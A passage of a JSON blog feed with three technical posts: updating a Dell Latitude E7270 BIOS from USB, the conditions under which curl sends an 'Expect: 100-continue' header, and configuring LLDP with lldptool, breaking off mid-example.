E7270","link":{"@attributes":{"href":"https:\/\/gms.tf\/updating-the-bios-on-a-dell-latitude-e7270.html","rel":"alternate"}},"published":"2017-02-06T10:10:00+01:00","updated":"2017-02-06T10:10:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-02-06:\/updating-the-bios-on-a-dell-latitude-e7270.html","summary":"<p>Dell distributes BIOS updates for the Latitude E7270 as PE32\nWindows GUI executables. It turns out that the BIOS itself is\nable to extract the firmware images from such executables and to\napply them.<\/p>\n<h2 id=\"howto\">HOWTO<a class=\"headerlink\" href=\"#howto\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ol>\n<li>Get the latest BIOS update executable from e.g.\n   <code>https:\/\/www.dell.com\/support\/home \u2026<\/code><\/li><\/ol>","content":"<p>Dell distributes BIOS updates for the Latitude E7270 as PE32\nWindows GUI executables. It turns out that the BIOS itself is\nable to extract the firmware images from such executables and to\napply them.<\/p>\n<h2 id=\"howto\">HOWTO<a class=\"headerlink\" href=\"#howto\" title=\"Permanent link\">&para;<\/a><\/h2>\n<ol>\n<li>Get the latest BIOS update executable from e.g.\n   <code>https:\/\/www.dell.com\/support\/home\/de\/de\/debsdt1\/product-support\/servicetag\/$YOURTAG\/drivers<\/code>. For example, as of 2017-02-06 this\n   would be <code>Latitude_E7x70_1.12.3.exe<\/code><\/li>\n<li>Verify the cryptographic file checksum (yes, Dell publishes\n   them over https)<\/li>\n<li>Put the executable on a FAT formatted USB stick<\/li>\n<li>Reboot the machine and press F12 when the Dell logo is\n   displayed<\/li>\n<li>Select the firmware upgrade menu entry<\/li>\n<li>Select the BIOS update executable in the file selection dialog\n   and continue<\/li>\n<li>Voila<\/li>\n<\/ol>\n<h2 id=\"usb-stick-partitioning\">USB Stick Partitioning<a class=\"headerlink\" href=\"#usb-stick-partitioning\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>What does work:<\/p>\n<ul>\n<li>DOS-style partition table<\/li>\n<li>1 primary partition<\/li>\n<li>bootable partition flag<\/li>\n<li>0xe partition type (W95 FAT16 LBA)<\/li>\n<li>vfat filesystem<\/li>\n<\/ul>\n<h2 id=\"dell-instructions\">Dell Instructions<a class=\"headerlink\" href=\"#dell-instructions\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>As always, Dell's documentation isn't very helpful. The\nBIOS install instructions just describe how to run the executable\nin a Windows or DOS environment. Which is scary if you are\nrunning Linux or something like that. They explicitly instruct\n'Non-Windows users' to boot into DOS using a USB stick and to start\nthe update executable from the DOS prompt. The more convenient\nalternative described above isn't mentioned in the Dell install\ninstructions, at all.<\/p>\n<h2 id=\"dos-boot\">DOS Boot<a class=\"headerlink\" href=\"#dos-boot\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The problem with USB-booting into DOS is that it is surprisingly\ntedious to get a proper ready-to-use USB FreeDOS image.\nFreedos.org only provides installer images. There is the\nseemingly popular Unetbootin GUI that supports creating a FreeDOS\nUSB stick but it <a href=\"https:\/\/github.com\/unetbootin\/unetbootin\/issues\/48\">downloads the images as root<\/a> and <a href=\"https:\/\/github.com\/unetbootin\/unetbootin\/issues\/58\">doesn't\ndo any verification of the downloaded files<\/a>, which both is\nquite irresponsible and dangerous.  There are even some\nready-to-use FreeDOS images available from private sites, but\neven if you trust the individuals, usually they don't provide any\nmeans for verification of the downloaded images (e.g. checksums\nover https, GPG generated file signatures).<\/p>\n<p>As-is, using <a href=\"http:\/\/web.archive.org\/web\/20160331083204\/http:\/\/www.chtaube.eu\/computers\/freedos\/bootable-usb\/image-generation-howto\/\">Christian Taube's FreeDOS image generation\nHOWTO<\/a> is the best option one has to create a FreeDOS bootable USB\nstick.<\/p>\n<h2 id=\"update-content\">Update Content<a class=\"headerlink\" href=\"#update-content\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The BIOS update executable actually contains multiple firmware\nimages. That means that besides the traditional BIOS also the\nfirmware of the embedded controller (EC) and of the Intel Management Engine\n(ME) is updated.<\/p>","category":[{"@attributes":{"term":"misc"}},{"@attributes":{"term":"dell"}},{"@attributes":{"term":"bios"}},{"@attributes":{"term":"firmware"}}]},{"title":"When curl sends 100-continue","link":{"@attributes":{"href":"https:\/\/gms.tf\/when-curl-sends-100-continue.html","rel":"alternate"}},"published":"2017-01-28T10:10:00+01:00","updated":"2017-01-28T10:10:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2017-01-28:\/when-curl-sends-100-continue.html","summary":"<p>When sending a POST request with <a href=\"https:\/\/curl.haxx.se\/\">curl<\/a> it sometimes automatically\nadds an <code>Expect: 100-continue<\/code> header. The following summarizes under\nwhich conditions curl\/libcurl adds this header.<\/p>\n<h2 id=\"background\">Background<a class=\"headerlink\" href=\"#background\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <code>Expect: 100-continue<\/code> header is <a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-5.1.1\">specified in HTTP 1.1<\/a> and\nallows the server to acknowledge or reject a POST\/PUT request\nimmediately \u2026<\/p>","content":"<p>When sending a POST request with <a href=\"https:\/\/curl.haxx.se\/\">curl<\/a> it sometimes automatically\nadds an <code>Expect: 100-continue<\/code> header. The following summarizes under\nwhich conditions curl\/libcurl adds this header.<\/p>\n<h2 id=\"background\">Background<a class=\"headerlink\" href=\"#background\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <code>Expect: 100-continue<\/code> header is <a href=\"https:\/\/tools.ietf.org\/html\/rfc7231#section-5.1.1\">specified in HTTP 1.1<\/a> and\nallows the server to acknowledge or reject a POST\/PUT request\nimmediately after the headers are send but before the client\nstarts sending potentially large amounts of actual data (body of\nthe request).  Thus, a conforming client must then wait for a\n<code>HTTP\/1.1 100 Continue<\/code> before sending the data. This scheme\nis advantageous for larger POST\/PUT requests since in the case of\nrejection the client and server don't waste their time with superfluous\nnetwork communication.<\/p>\n<h2 id=\"curl-logic\">Curl Logic<a class=\"headerlink\" href=\"#curl-logic\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Curl doesn't touch the 'Expect' header <a href=\"https:\/\/github.com\/curl\/curl\/blob\/9ad034e5a1b2d42acfdbea184736066782c6c635\/lib\/http.c#L1527\">if it is explicitly\nset<\/a>.<\/p>\n<p>Otherwise, curl automatically sets it, if either<\/p>\n<ul>\n<li>the request <a href=\"https:\/\/github.com\/curl\/curl\/blob\/9ad034e5a1b2d42acfdbea184736066782c6c635\/lib\/http.c#L2524\">is a PUT<\/a>, or<\/li>\n<li>the request <a href=\"https:\/\/github.com\/curl\/curl\/blob\/9ad034e5a1b2d42acfdbea184736066782c6c635\/lib\/http.c#L2593\">is a POST<\/a> and the data size is larger than <a href=\"https:\/\/github.com\/curl\/curl\/blob\/9ad034e5a1b2d42acfdbea184736066782c6c635\/lib\/http.h#L119\">1024\n  bytes<\/a><\/li>\n<\/ul>\n<p>By default, curl waits up to 1 second for a reply to the\n100-continue expectation. This timeout is configurable (e.g.  via\n<code>--expect100-timeout SECS<\/code>).<\/p>\n<h2 id=\"disabling-expect-logic\">Disabling Expect Logic<a class=\"headerlink\" href=\"#disabling-expect-logic\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The expect logic can easily be disabled via setting the <code>Expect:<\/code>\nheader to the empty string.<\/p>\n<p>For example, on the command line via:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>curl<span class=\"w\"> <\/span>-H<span class=\"w\"> <\/span><span class=\"s1\">&#39;Expect:&#39;<\/span><span class=\"w\"> <\/span>-H<span class=\"w\"> <\/span><span class=\"s1\">&#39;Transfer-Encoding: ...&#39;<\/span><span class=\"w\"> <\/span>-H<span class=\"w\"> <\/span><span class=\"s1\">&#39;Content-Type: ...&#39;<\/span><span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">    <\/span>--data-binary<span class=\"w\"> <\/span><span class=\"s1\">&#39;@mediumfile&#39;<\/span><span class=\"w\"> <\/span>http:\/\/example.org\/archive<span class=\"w\"> <\/span>-v\n<\/code><\/pre><\/div>\n\n<p>With <code>libcurl<\/code> the header can be configured via setting\n<code>CURLOPT_HTTPHEADER<\/code> using <code>curl_easy_setopt()<\/code>.<\/p>\n<p>Disabling the expect logic saves an additional network round-trip and is\nthus a good idea when the request isn't extremely large and the\nprobability for rejection is low.<\/p>\n<h2 id=\"testing\">Testing<a class=\"headerlink\" href=\"#testing\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>For testing, the expect logic can also be explicitly turned on,\ne.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>$<span class=\"w\"> <\/span>curl<span class=\"w\"> <\/span>-H<span class=\"w\"> <\/span><span class=\"s1\">&#39;Expect: 100-continue&#39;<\/span><span class=\"w\"> <\/span>-H<span class=\"w\"> <\/span><span class=\"s1\">&#39;Content-Type: text\/csv+x-lz4&#39;<\/span><span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">    <\/span>-H<span class=\"w\"> <\/span><span class=\"s1\">&#39;Transfer-Encoding: chunked&#39;<\/span><span class=\"w\"> <\/span>--data-binary<span class=\"w\"> <\/span><span class=\"s1\">&#39; &#39;<\/span><span class=\"w\"> <\/span><span class=\"se\">\\<\/span>\n<span class=\"w\">    <\/span>http:\/\/example.org\/archive<span class=\"w\"> <\/span>-v\n<\/code><\/pre><\/div>","category":[{"@attributes":{"term":"network"}},{"@attributes":{"term":"curl"}},{"@attributes":{"term":"http"}}]},{"title":"Link Layer Discovery Protocol","link":{"@attributes":{"href":"https:\/\/gms.tf\/link-layer-discovery-protocol.html","rel":"alternate"}},"published":"2016-12-14T10:10:00+01:00","updated":"2016-12-14T10:10:00+01:00","author":{"name":"Georg Sauthoff"},"id":"tag:gms.tf,2016-12-14:\/link-layer-discovery-protocol.html","summary":"<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Link_Layer_Discovery_Protocol\">Link Layer Discovery Protocol (LLDP)<\/a> probably isn't\nthe most popular protocol but it can be useful for\ntroubleshooting purposes and for mapping the neighbourhood of a host.<\/p>\n<p>Its purpose is basically to send\/receive key\/value pairs that\nare of general interest. For example the switch port number the \u2026<\/p>","content":"<p>The <a href=\"https:\/\/en.wikipedia.org\/wiki\/Link_Layer_Discovery_Protocol\">Link Layer Discovery Protocol (LLDP)<\/a> probably isn't\nthe most popular protocol but it can be useful for\ntroubleshooting purposes and for mapping the neighbourhood of a host.<\/p>\n<p>Its purpose is basically to send\/receive key\/value pairs that\nare of general interest. For example the switch port number the host\nis connected to or the ethernet interface auto-negotiation\ncapabilities of another host. The switch port number can be handy e.g.\nfor identifying a cable that has to be connected elsewhere.<\/p>\n<h2 id=\"getting-started\">Getting Started<a class=\"headerlink\" href=\"#getting-started\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>The <a href=\"http:\/\/open-lldp.org\/\">Open LLDP<\/a> software is included in the base\nrepositories of several distributions, e.g. Fedora and\nCentOS\/RHEL.<\/p>\n<p>For example, to install it on Fedora:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>dnf install lldpad\n<\/code><\/pre><\/div>\n\n<p>Open LLDP provides a daemon and client utilities. The daemon is\nable to broadcast LLDP messages and is also responsible to passively\ncollect LLDP messages broadcasted by neighbouring hosts. Thus, the\ndaemon must be started before executing any client utility:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>systemctl start lldpad.service\n<\/code><\/pre><\/div>\n\n<p>In the following, all interface specific commands use the\n<code>iface<\/code> shell variable. With modern interface naming it may have\nan assignment similar to:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>iface=enp0s31f6\n<\/code><\/pre><\/div>\n\n<p>By default, the LLDP daemon doesn't collect nor send anything.\nThis can be verified via (as root):<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">get<\/span><span class=\"o\">-<\/span><span class=\"n\">lldp<\/span><span class=\"w\"> <\/span><span class=\"n\">adminStatus<\/span>\n<\/code><\/pre><\/div>\n\n<p>To enable the passive LLDP message collection:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">set<\/span><span class=\"o\">-<\/span><span class=\"n\">lldp<\/span><span class=\"w\"> <\/span><span class=\"n\">adminStatus<\/span><span class=\"o\">=<\/span><span class=\"n\">rx<\/span>\n<\/code><\/pre><\/div>\n\n<p>Note that settings changed via <code>lldptool<\/code> are persistent.<\/p>\n<p>If the ethernet neighbourhood has some LLDP enabled device the<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">stats<\/span>\n<\/code><\/pre><\/div>\n\n<p>command should display an increasing received count, e.g.:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code>Total Frames Transmitted        = 0\nTotal Discarded Frames Received = 0\nTotal Error Frames Received     = 0\nTotal Frames Received           = 426\nTotal Discarded TLVs            = 0\nTotal Unrecognized TLVs         = 0\nTotal Ageouts                   = 0\n<\/code><\/pre><\/div>\n\n<p>Display the actual LDLP messages, recently collected:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">get<\/span><span class=\"o\">-<\/span><span class=\"n\">tlv<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">n<\/span>\n<\/code><\/pre><\/div>\n\n<h2 id=\"neighbourhood\">Neighbourhood<a class=\"headerlink\" href=\"#neighbourhood\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Since it is a link layer protocol, the LLDP neighbourhood basically is\nthe broadcast domain, excluding parts that are behind bridges.<\/p>\n<p>Also, LLDP messages that are sent by a switch and contain the port\nnumber are just sent to one port - for obvious reasons.<\/p>\n<h2 id=\"active-lldp\">Active LLDP<a class=\"headerlink\" href=\"#active-lldp\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>Enabling the broadcasting of LLDP messages on a Linux host with active Open LLDP daemon is as simple as:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">set<\/span><span class=\"o\">-<\/span><span class=\"n\">lldp<\/span><span class=\"w\"> <\/span><span class=\"n\">adminStatus<\/span><span class=\"o\">=<\/span><span class=\"n\">rxtx<\/span>\n<\/code><\/pre><\/div>\n\n<p>The set of default LLDP key\/values that are sent by default can be\nlocally displayed and verified via:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">get<\/span><span class=\"o\">-<\/span><span class=\"n\">tlv<\/span>\n<\/code><\/pre><\/div>\n\n<p>(note the missing <code>-n<\/code> switch)<\/p>\n<p>Of course, the same key\/values should also be displayed when\nexecuting<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">get<\/span><span class=\"o\">-<\/span><span class=\"n\">tlv<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">n<\/span>\n<\/code><\/pre><\/div>\n\n<p>on a neighbouring host.<\/p>\n<p>LLDP defines several key\/value pairs that aren't enabled, by default.\nThe help output, i.e. <code>lldptool -h<\/code> contains a list of what is\navailable (see also the man page).<\/p>\n<p>To enable the broadcasting of some more LLDP key\/value pairs:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"k\">for<\/span><span class=\"w\"> <\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"ow\">in<\/span><span class=\"w\"> <\/span><span class=\"n\">sysName<\/span><span class=\"w\"> <\/span><span class=\"n\">sysDesc<\/span><span class=\"w\"> <\/span><span class=\"n\">sysCap<\/span><span class=\"w\"> <\/span><span class=\"n\">portDesc<\/span><span class=\"w\"> <\/span><span class=\"n\">mngAddr<\/span><span class=\"w\"> <\/span><span class=\"n\">macPhyCfg<\/span><span class=\"w\"> <\/span><span class=\"p\">;<\/span><span class=\"w\"> <\/span><span class=\"n\">do<\/span>\n<span class=\"w\">  <\/span><span class=\"n\">lldptool<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">i<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">iface<\/span><span class=\"w\"> <\/span><span class=\"n\">set<\/span><span class=\"o\">-<\/span><span class=\"n\">tlv<\/span><span class=\"w\"> <\/span><span class=\"o\">-<\/span><span class=\"n\">V<\/span><span class=\"w\"> <\/span><span class=\"o\">$<\/span><span class=\"n\">i<\/span><span class=\"w\">  <\/span><span class=\"n\">enableTx<\/span><span class=\"o\">=<\/span><span class=\"n\">yes<\/span>\n<span class=\"n\">done<\/span>\n<\/code><\/pre><\/div>\n\n<p>As always, those changes are persistent.<\/p>\n<h2 id=\"examples\">Examples<a class=\"headerlink\" href=\"#examples\" title=\"Permanent link\">&para;<\/a><\/h2>\n<p>I tested LLDP in different networks and LLDP isn't spoken by everyone.\nFor example, a consumer level TP switch, a AVM FritzBox and a medium\nKyocera network printer all don't support LLDP. That means they don't\nbroadcast any LLDP messages by default and they also don't claim LLDP\nsupport that could be enabled.<\/p>\n<p>An example of a LLDP message broadcasted by a CentOS 7 system running\nOpen LLDP - as displayed by <code>lldptool -i $iface get-tlv -n<\/code>:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">Chassis<\/span><span class=\"w\"> <\/span><span class=\"nx\">ID<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">MAC<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">01<\/span><span class=\"p\">:<\/span><span class=\"mi\">23<\/span><span class=\"p\">:<\/span><span class=\"mi\">45<\/span><span class=\"p\">:<\/span><span class=\"mi\">67<\/span><span class=\"p\">:<\/span><span class=\"mi\">89<\/span><span class=\"p\">:<\/span><span class=\"nx\">ab<\/span>\n<span class=\"nx\">Port<\/span><span class=\"w\"> <\/span><span class=\"nx\">ID<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">MAC<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">01<\/span><span class=\"p\">:<\/span><span class=\"mi\">23<\/span><span class=\"p\">:<\/span><span class=\"mi\">45<\/span><span class=\"p\">:<\/span><span class=\"mi\">67<\/span><span class=\"p\">:<\/span><span class=\"mi\">89<\/span><span class=\"p\">:<\/span><span class=\"nx\">ab<\/span>\n<span class=\"nx\">Time<\/span><span class=\"w\"> <\/span><span class=\"nx\">to<\/span><span class=\"w\"> <\/span><span class=\"nx\">Live<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"mi\">120<\/span>\n<span class=\"nx\">Port<\/span><span class=\"w\"> <\/span><span class=\"nx\">Description<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Interface<\/span><span class=\"w\">   <\/span><span class=\"mi\">2<\/span><span class=\"w\"> <\/span><span class=\"k\">as<\/span><span class=\"w\"> <\/span><span class=\"nx\">eno1<\/span>\n<span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">Name<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">web<\/span><span class=\"p\">.<\/span><span class=\"nx\">example<\/span><span class=\"p\">.<\/span><span class=\"nx\">org<\/span>\n<span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">Description<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Linux<\/span><span class=\"w\"> <\/span><span class=\"nx\">web<\/span><span class=\"p\">.<\/span><span class=\"nx\">example<\/span><span class=\"p\">.<\/span><span class=\"nx\">org<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">3.10.0<\/span><span class=\"o\">-<\/span><span class=\"m m-Double\">514.2.2<\/span><span class=\"p\">.<\/span><span class=\"nx\">el7<\/span><span class=\"p\">.<\/span><span class=\"nx\">x86_64<\/span><span class=\"w\"> <\/span><span class=\"err\">#<\/span><span class=\"mi\">1<\/span><span class=\"w\"> <\/span><span class=\"nx\">SMP<\/span><span class=\"w\"> <\/span><span class=\"nx\">Tue<\/span><span class=\"w\"> <\/span><span class=\"nx\">Dec<\/span><span class=\"w\"> <\/span><span class=\"mi\">6<\/span><span class=\"w\"> <\/span><span class=\"mi\">23<\/span><span class=\"p\">:<\/span><span class=\"mi\">06<\/span><span class=\"p\">:<\/span><span class=\"mi\">41<\/span><span class=\"w\"> <\/span><span class=\"nx\">UTC<\/span><span class=\"w\"> <\/span><span class=\"mi\">2016<\/span><span class=\"w\"> <\/span><span class=\"nx\">x86_64<\/span>\n<span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">Capabilities<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">capabilities<\/span><span class=\"p\">:<\/span><span class=\"w\">  <\/span><span class=\"nx\">Station<\/span><span class=\"w\"> <\/span><span class=\"nx\">Only<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Enabled<\/span><span class=\"w\"> <\/span><span class=\"nx\">capabilities<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">Station<\/span><span class=\"w\"> <\/span><span class=\"nx\">Only<\/span>\n<span class=\"nx\">Management<\/span><span class=\"w\"> <\/span><span class=\"nx\">Address<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">IPv4<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">192.168.0.23<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Ifindex<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">2<\/span>\n<span class=\"nx\">MAC<\/span><span class=\"o\">\/<\/span><span class=\"nx\">PHY<\/span><span class=\"w\"> <\/span><span class=\"nx\">Configuration<\/span><span class=\"w\"> <\/span><span class=\"nx\">Status<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Auto<\/span><span class=\"o\">-<\/span><span class=\"nx\">negotiation<\/span><span class=\"w\"> <\/span><span class=\"nx\">supported<\/span><span class=\"w\"> <\/span><span class=\"k\">and<\/span><span class=\"w\"> <\/span><span class=\"nx\">enabled<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">PMD<\/span><span class=\"w\"> <\/span><span class=\"kt\">auto<\/span><span class=\"o\">-<\/span><span class=\"nx\">negotiation<\/span><span class=\"w\"> <\/span><span class=\"nx\">capabilities<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mh\">0x8037<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">MAU<\/span><span class=\"w\"> <\/span><span class=\"k\">type<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">1000<\/span><span class=\"w\"> <\/span><span class=\"nx\">BaseTFD<\/span>\n<span class=\"nx\">Maximum<\/span><span class=\"w\"> <\/span><span class=\"nx\">Frame<\/span><span class=\"w\"> <\/span><span class=\"nx\">Size<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"mi\">1518<\/span>\n<span class=\"nx\">End<\/span><span class=\"w\"> <\/span><span class=\"nx\">of<\/span><span class=\"w\"> <\/span><span class=\"nx\">LLDPDU<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<\/code><\/pre><\/div>\n\n<p>Beside many other things, the output shows that the ethernet interface\nof that host supports 1 GBit ethernet (full duplex) and has\nauto-negotiation enabled.<\/p>\n<p>An example of LLDP message generated by a switch in a datacenter\nenvironment:<\/p>\n<div class=\"m-code\"><pre><span><\/span><code><span class=\"nx\">Chassis<\/span><span class=\"w\"> <\/span><span class=\"nx\">ID<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">MAC<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">11<\/span><span class=\"p\">:<\/span><span class=\"mi\">23<\/span><span class=\"p\">:<\/span><span class=\"nx\">aa<\/span><span class=\"p\">:<\/span><span class=\"nx\">bb<\/span><span class=\"p\">:<\/span><span class=\"nx\">cc<\/span>\n<span class=\"nx\">Port<\/span><span class=\"w\"> <\/span><span class=\"nx\">ID<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Local<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">14<\/span>\n<span class=\"nx\">Time<\/span><span class=\"w\"> <\/span><span class=\"nx\">to<\/span><span class=\"w\"> <\/span><span class=\"nx\">Live<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"mi\">120<\/span>\n<span class=\"nx\">Port<\/span><span class=\"w\"> <\/span><span class=\"nx\">Description<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"mi\">14<\/span>\n<span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">Name<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Externes<\/span><span class=\"w\"> <\/span><span class=\"nx\">Netz<\/span><span class=\"w\"> <\/span><span class=\"m m-Double\">2.3.1<\/span>\n<span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">Description<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">ProCurve<\/span><span class=\"w\"> <\/span><span class=\"nx\">J4900B<\/span><span class=\"w\"> <\/span><span class=\"nx\">Switch<\/span><span class=\"w\"> <\/span><span class=\"mi\">2626<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">revision<\/span><span class=\"w\"> <\/span><span class=\"nx\">H<\/span><span class=\"m m-Double\">.10.119<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">ROM<\/span><span class=\"w\"> <\/span><span class=\"nx\">H<\/span><span class=\"m m-Double\">.08.02<\/span><span class=\"w\"> <\/span><span class=\"p\">(<\/span><span class=\"o\">\/<\/span><span class=\"nx\">sw<\/span><span class=\"o\">\/<\/span><span class=\"nx\">code<\/span><span class=\"o\">\/<\/span><span class=\"nx\">build<\/span><span class=\"o\">\/<\/span><span class=\"nx\">fish<\/span><span class=\"p\">)<\/span>\n<span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">Capabilities<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">System<\/span><span class=\"w\"> <\/span><span class=\"nx\">capabilities<\/span><span class=\"p\">:<\/span><span class=\"w\">  <\/span><span class=\"nx\">Bridge<\/span><span class=\"p\">,<\/span><span class=\"w\"> <\/span><span class=\"nx\">Router<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Enabled<\/span><span class=\"w\"> <\/span><span class=\"nx\">capabilities<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"nx\">Bridge<\/span>\n<span class=\"nx\">Management<\/span><span class=\"w\"> <\/span><span class=\"nx\">Address<\/span><span class=\"w\"> <\/span><span class=\"nx\">TLV<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">MAC<\/span><span class=\"p\">:<\/span><span class=\"w\"> <\/span><span class=\"mi\">00<\/span><span class=\"p\">:<\/span><span class=\"mi\">11<\/span><span class=\"p\">:<\/span><span class=\"mi\">23<\/span><span class=\"p\">:<\/span><span class=\"nx\">aa<\/span><span class=\"p\">:<\/span><span class=\"nx\">bb<\/span><span class=\"p\">:<\/span><span class=\"nx\">cc<\/span>\n<span class=\"w\">        <\/span><span class=\"nx\">Ifindex<\/span><span 